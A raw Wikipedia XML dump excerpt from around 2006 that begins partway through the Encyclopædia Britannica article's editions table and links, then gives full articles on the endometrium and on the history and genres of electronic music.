| align=&quot;right&quot; | 3rd || 1788–1797, 1801 sup.
| 18 vol. + 2 sup.
| Colin Macfarquhar and George Gleig
|-----
| align=&quot;right&quot; | 4th || 1801–1809
| 20 vol.
| James Millar
|-----
| align=&quot;right&quot; | 5th || 1815 || 20 vol.
| James Millar and Thomas Bonar    
|-----
| align=&quot;right&quot; | 6th
| 1820&amp;ndash;1823, 1815–1824 sup.
| 20 vol. + 6 sup. &lt;sup&gt;1&lt;/sup&gt;
| Charles Maclaren and Macvey Napier
|-----
| align=&quot;right&quot; | 7th || 1830–1842
| 21 vol. 
| Macvey Napier
|-----
| align=&quot;right&quot; | 8th || 1853–1860
| 22 vol. &lt;sup&gt;2&lt;/sup&gt;
| Thomas Stewart Traill
|-----
| align=&quot;right&quot; | 9th || 1875–1889
| 25 vol.  &lt;sup&gt;3&lt;/sup&gt;
| Thomas Spencer Baynes (to 1880, then W. Robertson Smith)
|-----
| align=&quot;right&quot; | 10th || 1902–1903
| 9th ed. + 11 sup &lt;sup&gt;4&lt;/sup&gt;
| Sir Donald Mackenzie Wallace, Hugh Chisholm, and Arthur T. Hadley with Franklin H. Hooper
|-----
| align=&quot;right&quot; | [[11th edition of the Encyclopædia Britannica|11th]]
| 1910&amp;ndash;1911 || 29 vol 
| Hugh Chisholm
|-----
| align=&quot;right&quot; | 12th || 1921–1922
| 11th ed. + 3 sup. &lt;sup&gt;5&lt;/sup&gt;
| Hugh Chisholm
|-----
| align=&quot;right&quot; | 13th || 1926 || 11th ed. + 3 sup. &lt;sup&gt;6&lt;/sup&gt;
| James Louis Garvin
|-----
| align=&quot;right&quot; | 14th || 1929&amp;ndash;1973
| 24 vol. &lt;sup&gt;7&lt;/sup&gt;
| James Louis Garvin with Franklin Henry Hooper
|-----
| align=&quot;right&quot; rowspan=2 | 15th || 1974&amp;ndash;1984
| 30 vol. &lt;sup&gt;8&lt;/sup&gt;
| Mortimer J. Adler, William Benton, and Charles E. Swanson
|-----
| | 1985&amp;ndash; || 32 vol. &lt;sup&gt;9&lt;/sup&gt;
|}
{| border=&quot;0&quot; cellpadding=&quot;2&quot; 
|-
| class=&quot;toccolours&quot;|'''Edition notes'''

vol. = volume, sup. = supplement

&lt;sup&gt;1&lt;/sup&gt; ''Supplement to the fourth, fifth, and sixth editions of the Encyclopaedia Britannica. With preliminary dissertations on the history of the sciences.''

&lt;sup&gt;2&lt;/sup&gt;8th to 14th editions included a separate index volume.

&lt;sup&gt;3&lt;/sup&gt;9th ed. featured articles by notables of the day, such as [[James Clerk Maxwell|James Maxwell]] on [[electricity]] and [[magnetism]], and [[William Thomson, 1st Baron Kelvin|William Thomson]] (who became Lord Kelvin) on [[heat]].

&lt;sup&gt;4&lt;/sup&gt;10th ed. included a maps volume and a cumulative index volume for the 9th and 10th edition volumes: ''the new volumes, constituting, in combination with the existing volumes of the 9th ed., the 10th ed. ... and also supplying a new, distinctive, and independent library of reference dealing with recent events and developments''

&lt;sup&gt;5&lt;/sup&gt;''Vols. 30-32 ... the New volumes constituting, in combination with the twenty-nine volumes of the eleventh edition, the twelfth edition''

&lt;sup&gt;6&lt;/sup&gt;This supplement replaced the previous supplement:  ''The three new supplementary volumes constituting, with the volumes of the latest standard edition, the thirteenth edition.''

&lt;sup&gt;7&lt;/sup&gt; This edition was the first to be kept up to date by continual (usually annual) revision.

&lt;sup&gt;8&lt;/sup&gt; The 15th edition (introduced as &quot;Britannica 3&quot;) was published as multiple sets: the 10-volume ''Micropædia'' (containing short articles and served as an index), the 19-volume ''Macropædia'', plus the ''Propædia'' (see text). 

&lt;sup&gt;9&lt;/sup&gt;In 1985 the system was modified by removing the index function from the ''Micropædia'' and adding a separate two-volume index; the ''Macropædia'' articles were further consolidated into fewer, larger ones (for example, the previously separate articles about the 50 U.S. states were all included into the &quot;United States of America&quot; article), with some medium-length articles moved to the ''Micropædia''.

The first CD-ROM edition was issued in 1994. At that time also an online version was offered for paid subscription. In 1999 this was offered for free, and no revised print versions appeared. The experiment was ended, however, in 2001 and a new printed set was issued in 2002.  
|}

==References==
&lt;references/&gt;
* Herman Kogan, ''The Great EB: The Story of the Encyclopedia Britannica'' (Chicago: University of Chicago Press, 1958)
* H. Einbinder, ''The Myth of the Britannica'' (New York: Grove Press, 1964)
* A.J. Jacobs, ''The Know-It-All : One Man's Humble Quest to Become the Smartest Person in the World'' (New York: Simon &amp; Schuster, 2004)

==See also==
* [[11th edition of the Encyclopædia Britannica]]
* [[commons:Category:Images from Encyclopædia Britannica|Images from Encyclopædia Britannica]]

==External links==
{{Wikisource}}

Encyclopaedia history:
*[http://heritage.scotsman.com/ingenuity.cfm?id=634942005&amp;20050610140559 The history of the encylopaedia on ''The Scotsman's'' Heritage and Culture pages]

Earlier editions:
*[http://www.eliohs.unifi.it/testi/700/history3/ The article History] from the third edition.
*[http://encyclopedia.jrank.org/ Scanned version of ''Encyclopædia Britannica'' 1911], including the article [http://encyclopedia.jrank.org/EMS_EUD/ENCYCLOPAEDIA.html Encyclopaedia]
*[http://www.1911encyclopedia.org/ Another scanned version of ''Encyclopædia Britannica'' 1911]
*[http://www.gutenberg.org/etext/13600 Slice of the 1911] Encyclopædia Britannica, as [[public domain]] text on [[Project Gutenberg]]
*[http://www.mdx.ac.uk/www/study/xmilgov.htm James Mill's essay on government, 1820]
*[http://www.infidels.org/library/historical/joseph_mccabe/lies_of_britannica.html The Lies And Fallacies Of The Encyclopædia Britannica. How Powerful And Shameless Clerical Forces Castrated A Famous Work Of Reference] by [[Joseph McCabe]], c. 1947. Tract that claims to show systematic religious bias in the ''Britannica'' of the time.
*[http://www.britannica.com/original?content_id=1395 Vintage Britannica] or &quot;Evolving Knowledge&quot; &amp;mdash; excerpts on a single topic selected from various Britannica editions since 1768

Modern editions:
*[http://www.britannica.com/ Official website for the current version of ''Encyclopædia Britannica'']
*[http://members.cox.net/kevin82/eberrors.htm One reader's catalogue of errors in the Encyclopædia Britannica]
*[[Wikipedia:Errors in the Encyclopædia Britannica that have been corrected in Wikipedia|Errors in Encyclopædia Britannica that have been corrected in Wikipedia]]
*[http://ifets.ieee.org/periodical/vol_1_2002/alevizou.html To wire or not to wire? Encyclopædia Britannica vs. Microsoft Encarta] A comparison of the two encyclopedias, by Panagiota Alevizou, published by the ''[[Educational Technology &amp; Society]]'' journal

Business history:
*[http://www.businessweek.com/1997/42/b3549124.htm &quot;Dusting off the Britannica&quot;] article from ''Business Week'' (1997)
*[http://www.salon.com/media/media960510.html &quot;Death of a salesforce&quot;] from Salon (1996)

Sample articles:
*[http://store.britannica.com/content/pdf/Vietnam.pdf &quot;Vietnam War&quot;]. First three pages of the article from the ''Encyclopaedia Britannica'' Store.
*[http://store.britannica.com/content/pdf/Nanotech.pdf &quot;Nanotechnology&quot;]. First two pages of the article from the ''Encyclopaedia Britannica'' Store.
*[http://store.britannica.com/content/pdf/SciFi.pdf &quot;Science Fiction&quot;]. First three pages of the article from the ''Encyclopaedia Britannica'' Store.
*[http://store.britannica.com/content/pdf/Electronics.pdf &quot;Electronics&quot;]. First three pages of the article from the ''Encyclopaedia Britannica'' Store.

[[Category:Encyclopedias|Britannica, Encyclopædia]]
[[Category:Online encyclopedias|Britannica, Encyclopædia]]

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[[ko:브리태니커 백과사전]]
[[id:Encyclopædia Britannica]]
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[[ja:ブリタニカ百科事典]]
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[[ru:Британская энциклопедия]]
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    </revision>
  </page>
  <page>
    <title>Endometrium</title>
    <id>9509</id>
    <revision>
      <id>36809169</id>
      <timestamp>2006-01-26T16:55:37Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/80.0.136.208|80.0.136.208]] ([[User talk:80.0.136.208|talk]]) to last version by Mikereichold</comment>
      <text xml:space="preserve">The '''endometrium''' is the inner uterine membrane in [[mammal]]s which is developed in preparation for the [[implantation]] of a [[fertilized]] egg upon its arrival into the [[uterus]].  It grows to be rich in glands and [[blood vessel]]s, which are eventually to be connected to by the [[pregnancy]], forming the [[placenta]] through which the [[embryo]], as it becomes a [[fetus]] and eventually gestates fully, receives [[oxygen]] and is nourished.

The endometrial lining undergoes cyclic regeneration. Most mammals are subject to an [[estrous cycle]] while humans and the great apes display the [[menstrual cycle]]. In either situation the endometrium proliferates initially under the influence of [[estrogen]]. Once [[ovulation]] occurs, in addition to estrogen the ovary will also start to produce [[progesterone]] and thereby change the '''proliferative''' pattern of the endometrium to a '''secretory''' lining. In time the secretory lining provides a hospitable environment to one or more fertilized eggs. If no fertilized egg is detected, the progesterone level drops and the endometrial lining is either reabsorbed (estrous cycle) or shed (menstrual cycle). In the latter, the process of shedding involves the breaking down of the lining, tearing small connective blood vessels, and the loss of the tissue and blood which had constituted it through the [[vagina]], over a series of days. This may be accompanied by some uterine contractions to help expel the '''menstrual''' endometrium. In case of implantation, however, the endometrial lining does not get absorbed or shed, but remains as '''[[decidua]]''', provides support and protection for the gestation, and becomes part of the placenta. 

If there is inadequate stimulation of the lining due to lack of hormones, the endometrium remains thin and inactive. In humans this will result in [[amenorrhea]]. The lining after the [[menopause]] is often described to be '''atrophic'''. In contrast, endometrium that is chronically exposed to estrogens, but not to progesterone, may become '''hyperplastic'''.

In humans, the cycle of building and shedding the endometrial lining is 28 days long on average, though it varies among individuals. The endometrium develops at different rates in different mammals. Its formation is sometimes affected by seasons, climate, stress and other factors. The endometrium itself produces certain [[hormone]]s at different points in the cycle affecting other portions of the [[reproductive system]].

More about the patterns of endometrial growth in different mammals can be found in the article about the [[estrous cycle]].
==Other==
Growth of the endometrium into the muscle layer of the uterus ([[myometrium]]) is seen in [[adenomyosis]].

Growth of endometrial tissue outside the uterus is a pathological condition known as [[endometriosis]]. 

[[Endometrial cancer]] is the most common [[cancer]] of the human female genital tract.

==See also==
#[[Menstrual cycle]]
#[[Estrous cycle]]

[[de:Endometrium]]
[[es:Endometrio]]
[[fr:Muqueuse utérine]]
[[sv:Livmoderslemhinna]]

[[Category:Anatomy]]
[[Category:Gynecology]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic music</title>
    <id>9510</id>
    <revision>
      <id>42101739</id>
      <timestamp>2006-03-03T21:09:56Z</timestamp>
      <contributor>
        <username>Teeroy</username>
        <id>440123</id>
      </contributor>
      <comment>look pal, computers *are* electronic. If you state that they aren't then you have to exlude most of the synth made since the DX7. Newsflash, modern synths are custom computers with custom interfaces.</comment>
      <text xml:space="preserve">&lt;!-- this box is *only* intended for top level electronic genres: those that have genreboxes, not all subgenres, please *do not* add them to this box here --&gt;
{| align=right id=toc style=&quot;margin-left: 15px;&quot; 
!align=center bgcolor=silver|[[Electronic music]]
|-
|[[Ambient music|Ambient]]
|-
|[[Breakbeat]]
|-
|[[Drum and bass]]
|-
|[[Electronica]]
|-
|[[Electronic art music]]
|-
|[[House music|House]]
|-
|[[Industrial music|Industrial]]
|-
|[[Intelligent dance music|IDM]]
|-
|[[Synthpop]]
|-
|[[Techno music|Techno]]
|-
|[[Trance music|Trance]]
|}
'''Electronic music''' is a term for [[music]] created using [[electronics|electronic]] devices. As [http://www.ieee.org/organizations/eab/faqs1.htm defined] by the IEEE standards body, electronic devices are low-power systems and use components such as transistors and integrated circuits. Working from this definition, distinction can be made between instruments that produce sound through electromechanical means as opposed to instruments that produce sound using electronic components. Examples of an electromechanical instrument are the [[teleharmonium]], [[Hammond B3]], and the [[electric guitar]], whereas examples of an electronic instrument are a [[Theremin]], [[synthesizer]], and a computer.

== History ==

===Late 19th century early 20th century===

Before electronic music, there was a growing desire for composers to use emerging technologies for musical purposes. Several instruments were created that employed electromechanical designs and they paved the way for the later emergence of electronic instruments. An electromechanical instrument called the [[Teleharmonium]] (or Telharmonium) was developed by [[Thaddeus Cahill]] in [[1897]]. Simple inconvenience hindered the adoption of the Teleharmonium: the instrument weighed seven tons and was the size of a boxcar. The first electronic instrument is often viewed to be the [[Theremin]], invented by Professor [[Léon Theremin|Leon Theremin]] circa 1919 - 1920.  Another early electronic instrument was the [[Ondes Martenot]], which was used in the ''[[Turangalîla-Symphonie]]'' by [[Olivier Messiaen]] and also by other, primarily French, composers such as [[Andre Jolivet]].

===Post-war years: 1940s to 1950s===
:''Main articles: [[Electronic art music#History|History of electronic art music]], [[Musique concrète]]''

The [[tape recorder]] was invented in Germany during [[World War II]]. It wasn't long before composers used the tape recorder to develop a new technique for composition called [[Musique concrète]]. This technique involved editing together recorded fragments of natural and industrial sounds. Frequently, composers used sounds that were produced entirely by electronic devices not designed for a musical purpose. The first pieces of ''musique concrète'' were written by [[Pierre Schaeffer]], who later worked alongside such [[avant-garde]] [[modern classical music|classical]] composers as [[Pierre Henry]], [[Pierre Boulez]] and [[Karlheinz Stockhausen]].  Stockhausen has worked for many years as part of [[Cologne]]'s [[Studio for Electronic Music]] combining electronically generated sounds with conventional [[orchestra]]s. The first electronic music for [[magnetic tape]] composed in [[United States of America|America]] was completed by [[Louis and Bebe Barron]] in 1950.

Two new electronic instruments made their debut in 1957. Unlike the earlier Theremin and Ondes Martenot, these instruments were hard to use, required extensive programming, and neither could be played in real time. The first of these electronic instruments was the computer when [[Max Mathews]] used a program called [[Music 1]], and later [[Music 2]], to create original compositions at [[Bell Laboratories]]. Other well-known composers using computers at the time include [[Edgard Varèse]], and [[Iannis Xenakis]]. The other electronic instrument that appeared that year was the first electronic synthesizer. Called the [[RCA Mark II Sound Synthesizer]], it used [[vacuum tube]] oscillators and incorporated the first electronic [[music sequencer]]. It was designed by RCA and installed at [[The Columbia-Princeton Electronic Music Center]] where it remains to this day.

The Columbia-Princeton Electronic Music Center, now known as the [[Computer Music Center]], is the oldest center for electronic and computer music research in the United States. It was founded in 1958 by [[Vladimir Ussachevsky]] and [[Otto Luening]] who had been working with magnetic tape manipulation since the early 1950s. A studio was built there with the help of engineer [[Peter Mauzey]] and it became the hub of American electronic music production until about 1980.  [[Robert Moog]] developed voltage controlled oscillators and envelope generators while there, and these were later used as the heart of the [[Moog synthesizer]].

===1960s to late 1970s===

Because of the complexities of composing with a synthesizer or computer, let alone the lack of access, most composers continued exploring electronic sounds using musique concrète even into the 60s. But musique concrète was clumsy at best and a few composers sought better technology for the task. That search led three, independent, teams to develop the world's first, playable, electronic [[synthesizer]]s.

The first of these synthesizers to appear was the [[Buchla]]. Appearing in 1963, it was the product of an effort spearheaded by musique concrète composer [[Morton Subotnick]]. In 1962, working with a grant from the [[Rockefeller Foundation]], Subotnick and business partner [[Ramon Sender]] hired electrical engineer [[Don Buchla]] to build a &quot;black box&quot; for composition. Subotnick describes their idea in the following terms:

:&quot;Our idea was to build the black box that would be a palette for composers in their homes. It would be their studio. The idea was to design it so that it was like an analog computer. It was not a musical instrument but it was modular...It was a collection of modules of voltage-controlled envelope generators and it had sequencers in it right off the bat...It was a collection of modules that you would put together. There were no two systems the same until CBS bought it...Our goal was that it should be under $400 for the entire instrument and we came every close. That's why the original instrument I fundraised for was under $500.&quot;

Another playable synthesizer, the first to use a piano styled keyboard, was the brainchild of [[Robert Moog]]. In 1964, he invited composer [[Herb Deutsch]] to visit his studio in Trumansburg. Moog had met Deutsch the year before, heard his music, and decided to follow the composer's suggestion and build electronic music modules. By the time Deutsch arrived for the visit, Moog had created prototypes of two voltage-controlled oscillators. Deutsch played with the devices for a few days; Moog found Deutsch's experiments so musically interesting that he subsequently built a voltage-controlled filter. Then, by a stroke of luck, Moog was invited that September to the [[AES]] Convention in New York City, where he presented a paper called &quot;Electronic Music Modules&quot; and sold his first synthesizer modules to choreographer [[Alwin Nikolais]]. By the end of the convention, Moog had entered the synthesizer business.

Also in 1964, [[Paul Ketoff]], a sound engineer for RCA Italiana in Rome, approached [[William O. Smith]], who headed the electronic music studio at the city's American Academy, with a proposal to build a small playable synthesizer for the academy's studio. Smith consulted with [[Otto Luening]], [[John Eaton]], and other composers who were in residence at the academy at the time. Smith accepted Ketoff's proposal, and Ketoff delivered his [[Synket]] (for Synthesizer Ketoff) synthesizer in early 1965.

Although electronic music began in the world of classical (or &quot;art&quot;) composition, within a few years it had been adopted into popular culture with varying degrees of enthusiasm. One of the first electronic signature tunes for [[television]] was the [[theme music]] for ''[[Doctor Who]]'' in [[1963]]. It was created at the [[BBC]] sound special effects unit [[Radiophonic Workshop]] by [[Ron Grainer]] and [[Delia Derbyshire]].

In the late [[1960s]],  [[Wendy Carlos]] popularized early [[synthesizer]] music with two notable albums ''[[Switched-On Bach]]'' and ''[[The Well-Tempered Synthesizer]]'', which took pieces of baroque [[European classical music|classical music]] and reproduced them on [[Robert Moog|Moog]] [[synthesizer]]s. The Moog generated only a single note at a time, so that producing a multilayered piece, such as Carlos did, required many hours of studio time. The early machines were notoriously unstable, and went out of tune easily. Still, some musicians, notably [[Keith Emerson]] of [[Emerson Lake and Palmer]] did take them on the road. The [[theremin]], an exceedingly difficult instrument to play, was even used in some popular music, most notably in &quot;Good Vibrations&quot; by [[The Beach Boys]]. There was also the [[Mellotron]] which appeared in [[the Beatles]]' [[Strawberry Fields Forever]], and the volume tone pedal was uniquely used as a backing instrument in [[Yes It Is]]. 

As technology developed, and [[synthesizer|synthesizers]] became cheaper, more robust and portable, they were adopted by many [[rock band]]s.  Examples of relatively early adopters in this field are bands like [[The United States of America (band)|The United States of America]], [[The Silver Apples]] and [[Pink Floyd]], and although not all of their music was electronic (with the notable exception of The Silver Apples), much of the resulting sound was dependent upon the synthesiser.  In the 1970s, this style was mainly popularised by [[Kraftwerk]], who used electronics and robotics to symbolise and sometimes gleefully celebrate the alienation of the modern technological world. To this day their music remains uncompromisingly electronic. In [[Germany]] particularly electronic sounds were incorporated into popular music by bands such as [[Tangerine Dream]], [[Can (band)|Can]], and others.

In [[jazz]], amplified [[acoustic instrument]]s and synthesizers were combined in a series of influential recordings by [[Weather Report]]. [[Joe Zawinul]], the synthesizer artist in that group, has continued to field ensembles of the same kind.  The noted jazz pianist [[Herbie Hancock]] with his band [[Head Hunters (album)|The Headhunters]] in the 1970s also introduced jazz listeners to a wider palette of electronic sounds including the synthesizer, which he further explored with even more enthusiasm on the ''Future Shock'' album, a collaboration with producer [[Bill Laswell]] in the [[1980s]], which spawned a pop hit &quot;[[Rockit]]&quot; in [[1983]].

Musicians such as [[Tangerine Dream]], [[Klaus Schulze]], [[Brian Eno]], [[Vangelis]], [[Jean Michel Jarre]], [[Ray Buttigieg]], as well as the Japanese composers [[Isao Tomita]] and [[Kitaro]],  also popularised the sound of electronic music.  The film industry also began to make extensive use of electronic music in [[soundtrack]]s. An example is the [[Wendy Carlos]]' score for ''[[A Clockwork Orange]]'', [[A_Clockwork_Orange_(film)|Stanley Kubrick's film]] of the [[Anthony Burgess]] novel.

The score for ''[[Forbidden Planet]]'', by [[Louis and Bebe Barron]], had used electronic sound, although not synthesizers per se, in 1956.  Once electronic sounds became more common in popular recordings, other [[science fiction]] films such as ''[[Blade Runner]]'' and the ''[[Alien (movie)|Alien]]'' series of movies began to depend heavily for [[mood]] and [[ambience]] upon the use of electronic music and electronically derived effects.  Electronic groups were also hired to produce entire soundtracks, just like other popular music stars.

===Late 1970s to late 1980s===
:''Main articles: [[Industrial music#History|History of industrial music]], [[Electropop]]''

In the late 1970s and early 1980s there was a great deal of innovation around the development of electronic music instruments. Analogue synthesisers largely gave way to digital synthesisers and samplers.  Early samplers, like early synthesisers, were large and expensive pieces of gear -- companies like [[Fairlight]] and [[New England Digital]] sold instruments that cost upwards of $100,000.  In the mid 1980s, this changed with the development of low cost samplers. From the late 1970s onward, much popular music was developed on these machines. Groups like [[Gary Numan]], [[Heaven 17]], [[Eurythmics]], [[Severed Heads]], [[The Human League]], [[John Foxx]], [[Thomas Dolby]], [[Orchestral Manoeuvres in the Dark]], [[Norman Iceberg]], [[Yazoo (band)|Yazoo]], [[The Art of Noise]], [[Depeche Mode]] and [[New Order]] developed entirely new ways of making popular music by electronic means. [[Fad Gadget]] is cited by some as a father to the use of electronics in [[New Wave music|New Wave]].

The natural ability for music machines to make stochastic, non-harmonic, staticky noises led to a genre of music known as [[industrial music]] led by pioneering groups such as [[Throbbing Gristle]] (which commenced operation in [[1975]]), [[Wavestar]] and [[Cabaret Voltaire (band)|Cabaret Voltaire]].  Some artists, like [[Nine Inch Nails]], [[KMFDM]], and Severed Heads, took some of the adventurous innovations of ''musique concrète'' and applied them to mechanical dance beats and, later on, metal guitars. Others, such as [[Test Department]], [[Einstürzende Neubauten]], took this new sound at face value and created hellish electronic compositions.  Meanwhile, other groups (Robert Rich, :zoviet*france:, rapoon) took these harsh sounds and melded them into evocative soundscapes.  Still others ([[Front 242]], [[Skinny Puppy]]) combined this harshness with the earlier, more pop, or rather dance-oriented sounds, forming [[electronic body music]] (EBM).

Allied with the growing interest in electronic and industrial music were artists working in the realm of [[dub music]].  Notable in this area was producer [[Adrian Sherwood]] whose [[On-U Sound]] record label in the 1980s was responsible for integrating the industrial and noise aesthetic with tape and dub production with artists such as the industrial-funk outfit [[Tackhead]], vocalist [[Mark Stewart]] and others.  This paved the way for much of the 1990s interest in dub, first through bands such as [[Meat Beat Manifesto]] and later [[downtempo]] and [[trip hop]] producers such as [[Kruder &amp; Dorfmeister]].

===Recent developments: 1980s to early 2000s===
:''Main articles: [[Techno music#History|History of techno]], [[House music#History|History of house]], [[Trance music#History|History of trance]]''
{{mergefrom|Electronic Dance}}

The development of the [[techno music|techno]] sound in [[Detroit, Michigan]] and [[house music]] in [[Chicago, Illinois]] in the early to late [[1980s]], and the later [[United Kingdom|UK]]-based [[acid house]] movement of the late 1980s and early [[1990s]] all fueled the development and acceptance of electronic music into the [[mainstream]] and to introduce '''electronic dance music''' to nightclubs. Electronic composition can create rhythms faster and more precise than is possible using traditional [[Percussion_instrument|percussion]]. The sound of electronic dance music often features electronically altered sounds ('''[[sampling (music)|samples]]''') of traditional instruments and vocals. See [[dance music]].

It was in [[UK]] legislation to counter the [[rave]] culture that the current definition of Electronic Music was given, with the [[Criminal Justice and Public Order Act 1994]] stating that music at raves, &quot;includes sounds wholly or predominantly characterised by the emission of a succession of repetitive beats.&quot;[http://www.opsi.gov.uk/acts/acts1994/Ukpga_19940033_en_6.htm#mdiv63]

The falling price of suitable equipment has meant that [[popular music]] has increasingly been made electronically. Artists such as [[Björk]] and [[Moby]] have further popularized variants of this form of music within the mainstream.

== Overview ==

===Genres===
{{main|List of electronic music genres}}

Electronic music, especially in the late [[1990s]] fractured into many genres, styles and sub-styles, too many to list here, and most of which are included in the main [[list of electronic music genres|list]].  Although there are no hard and fast boundaries, broadly speaking we can identify the [[experimental music|experimental]] and [[European classical music|classical]] styles: [[electronic art music]], ''[[musique concrète]]''; the [[industrial music]] and [[synth pop]] styles of the [[1980s]]; styles that are primarily intended for dance such as italo disco, [[techno music|techno]], [[house music|house]], [[trance music|trance]], [[electro music|electro]],  [[breakbeat|breakbeat]], [[drum and bass]] and styles that are intended more as experimental styles or for home listening such as [[intelligent dance music|IDM]], [[glitch (music)|glitch]] and [[trip-hop]].  
The proliferation of [[personal computer]]s beginning in the [[1980s]] brought about a new genre of electronic music, known loosely as [[chip music]] or [[bitpop]].  These styles, produced initially using specialized sound chips in PCs such as the [[Commodore 64]], grew primarily out of the [[demoscene]].
The latter categories such as IDM, glitch and chip music share much in common with the art and ''musique concrète'' styles which predate it by several decades.

===Notable artists and DJs===
{{main|List of electronic music artists and DJs}}

With the explosive growth of computers music technology and consequent reduction in the cost of equipment in the late [[1990s]], the number of artists and [[disc jockey|DJs]] working within electronic music is overwhelming.  With the advent of [[hard disk]] recording systems, it is possible for any home computer user to become a musician, and hence the rise in the number of &quot;bedroom bands&quot;, often consisting of a single person.  Nevertheless notable artists can still be identified.  Within the experimental and classical or &quot;art&quot; traditions still working today are [[Karlheinz Stockhausen]], [[Pierre Boulez]] and [[Steve Reich]].  Influential musicians in industrial and later synth pop styles include [[Throbbing Gristle]], [[Cabaret Voltaire (band)|Cabaret Voltaire]] (both now defunct), [[Tangerine Dream]], [[Klaus Schulze]], the [[Human League]] and [[Kraftwerk]] who released their first album in over a decade in [[2003]].  In house, techno and drum and bass pioneers such as [[Juan Atkins]], [[Derrick May]], [[Goldie]], [[A Guy Called Gerald]] and [[LTJ Bukem]] are still active as of [[2003]].  Commercially successful artists working under the &quot;electronica&quot; rubric such as [[Fatboy Slim]], [[Faithless]], [[Fluke]], [[The Chemical Brothers]], [[Daft Punk]], [[The Crystal Method]], [[Massive Attack]], [[The Prodigy]], [[Orbital]], [[Propellerheads]], [[Underworld (band)|Underworld]], [[Überzone]], [[Björk]] and [[Moby]] continue to release albums and perform regularly (sometimes in stadium-sized arenas, such has the popularity of electronic dance music grown). Some DJs such as [[Paul Oakenfold]] and [[John Digweed]] have reached true superstar status and can command five-figure salaries for a single performance. The critically acclaimed [[Autechre]] and [[Aphex Twin]] continue to put out challenging records of (mostly) home-listening music. On a more popular scale, [[Michael Jackson]] used to be heavily engaged in creating unique timbres, many of which were created electronically.

===Notable record labels===
{{main|List of electronic music record labels}}

Until the [[1980s]], there were virtually no [[record label]]s that deal with exclusively electronic music.  Because of this dearth of outlets, many of the early techno pioneers started their own. For example,  Juan Atkins started [[Metroplex Records]] a [[Detroit]]-based label, and [[Richie Hawtin]] started his hugely influential [[Plus8]] imprint.  In the [[United Kingdom]] [[Warp Records]] emerged in the [[1990s]] as one of the pre-eminent sources of home-listening and experimental music.  Later arrivals include [[Astralwerks]], [[Ninja Tune]], and Oakenfold's [[Perfecto]] Record label.

== Electronic music press ==

[[United States]] magazine sources include the [[Los Angeles]]-based ''[[Urb]]'' and [[San Francisco]]-based ''[[XLR8R]]'' and other magazines such as ''[[e/i]]'' and ''Grooves''.
[[United Kingdom|British]] electronic music sources include the [[London]]-based magazine ''[[The Wire (magazine)|The Wire]]'' (a monthly publication), ''[[DJ (magazine)|DJ]]'', ''[[JockeySlut]]'', ''[[Mixmag]]'', ''[[Knowledge (magazine)|Knowledge]]'', ''[[Computer Music]]'', ''[[Music Tech Magazine]]'' and ''[[Future Music]]''.
[[Germany|German]] magazine sources include [[Spex]] as well as [[Berlin]]-based ''[[De bug|De:bug]]''.

== Electronic music in movies ==

Here is a short list of movies where electronic music plays a leading role
* ''[[A Clockwork Orange (film)|A Clockwork Orange]]'' ([[1971]])
* Primorsky Boulevard ([[1988]])
* ''[[Trainspotting (film)|Trainspotting]]'' ([[1996]])
* ''[[Pi_(film)|Pi]]'' ([[1998]])
* ''[[Better Living Through Circuitry]]'' ([[1999]]) - [[Rave]] documentary.
* ''[[Go (1999 film)|Go]]'' ([[1999]])
* ''[[Human Traffic]]'' ([[1999]])
* ''[[Groove]]'' ([[2000]])
* ''[[Kevin &amp; Perry Go Large]]'' ([[2000]])
* ''[[Stark Raving Mad]]'' ([[2002]])
* ''[[24 Hour Party People]]'' ([[2002]])
* ''[[It's All Gone Pete Tong]]'' ([[2004]])
* ''[[Moog (film)|Moog]]'' ([[2004]]) - Documentary about [[Robert Moog]].
* ''[[Party Monster]]'' ([[2003]])

==See also==
* [[BBC Radiophonic Workshop]]
* [[Computer music]]
* [[Dance music]]
* [[Electronic art music]]
* [[Ishkur's Guide to Electronic Music]]
* [[Synthesizer]]
* [[Video game music]]

== References ==
* Vladimir Bogdanov, Chris Woodstra, Stephen Thomas Erlewine, John Bush (editors) ''All Music Guide to Electronica: The Definitive Guide to Electronic Music'' (AMG All Music Guide Series), Backbeat Books, [[2001]] ISBN 0879306289
* Ben Kettlewell ''Electronic Music Pioneers'', ArtistPro.com, [[2001]] ISBN  1931140170
* Iara Lee, Peter Shapiro (editor), Simon Reynolds ''Modulations: A History of Electronic Music: Throbbing Words on Sound'' Distributed Art Publishers, [[2000]] ISBN 189102406X
* Mark Prendergast ''The Ambient Century: From Mahler to Trance: The Evolution of Sound in the Electronic Age'', Bloomsbury, [[2001]] ISBN 0747542139, ISBN 1582341346 (hardcover eds.) ISBN 1582343233 (paper)
* Simon Reynolds ''Energy Flash: a Journey Through Rave Music and Dance Culture'' (UK title,  Pan Macmillan, [[1998]], ISBN 0330350560), also released in US as ''Generation Ecstasy : Into the World of Techno and Rave Culture'' (US title, Routledge, [[1999]], ISBN  0415923735)
* John Schaefer ''New Sounds: A Listener's Guide to New Music'' HarperCollins, [[1987]] ISBN 0060970812
* Dan Sicko ''Techno Rebels: The Renegades of Electronic Funk'', Billboard Books, [[1999]] ISBN 0823084280
* [http://www.opsi.gov.uk/acts/acts1994/Ukpga_19940033_en_6.htm#mdiv63 Criminal Justice and Public Order Act 1994]

== Further reading ==
* Jerry Fielden ''The influence of Electronic Music in Rock Music, 1967-76; Keith Emerson, Jimi Hendrix, Pink Floyd and others'', 2000, [http://www.jerryfielden.com/essays/electromusic.htm]
* Jerry Fielden ''Pioneers of Electronic Music - Early Works (Schaeffer/Henry, Ussachevsky/Luening and Le Caine)'', 2000, [http://www.jerryfielden.com/essays/pioneers.htm]
* Chadabe J., (1997), &quot;Electric Sound: The Past and Promise of Electronic Music&quot;, Prentice Hall, NJ.
* Emmerson S., (1986), &quot;The Language of Electroacoustic Music&quot;, Macmillan Press, London.
* Emmerson S., (2000), &quot;Music,Electronic Media and Culture&quot;, Ashgate Publishing,Hampshire,UK.
* Griffiths P., (1995), &quot;Modern Music and After: Directions Since 1945&quot;, Oxford University Press, Oxford.
* Heifetz R.J., (1989), &quot;On The Wires of Our Nerves:The Art Of Electroacoustic Music&quot; ,Associated University Presses Inc., Cranbury, NJ.
* Kahn D., (1999), &quot;Noise, Water, Meat: A History of Sound in the Arts&quot;, MIT Press, Cambridge, MA.
* Licata T., (2002), &quot;Electroacoustic Music: Analytical Perspectives&quot;, Greenwood Press,Westport,CT.
* Roads C., (1996), &quot;The Computer Music Tutorial&quot;, MIT Press, Cambridge, MA.

== External links ==
{{wikiquote}}
